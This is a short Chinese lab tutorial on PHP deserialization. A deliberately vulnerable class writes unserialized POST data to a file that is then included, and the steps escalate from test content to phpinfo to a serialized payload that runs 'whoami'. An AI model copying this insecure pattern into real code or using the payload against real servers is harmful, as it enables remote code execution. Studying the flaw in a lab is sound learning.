1、体验代码。
<?php
class A{
var $a = 'test';
function __destruct()
{
// TODO: Implement __destruct() method.
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\hello.php","w"); //以写入的模式打开target.php文件
fputs($fp,$this->a); //写入内容
fclose($fp);
}
}
//$b = new A();
//echo serialize($b); 12、13两行代码是为了得到序列化数据,构造后进行反序列化操作。
$obj = unserialize($_POST['obj']);
require "D:\phpStudy\PHPTutorial\WWW\hello.php";
?>
2、获取到序列化数据后,先写入123测试一下。
3、写入phpinfo。(注意写入内容与其长度对应。)
phpinfo成功写入。
4、尝试命令执行。
obj=O:1:“A”:1:{s:1:“a”;s:22:"<?php echo `whoami`;?>";}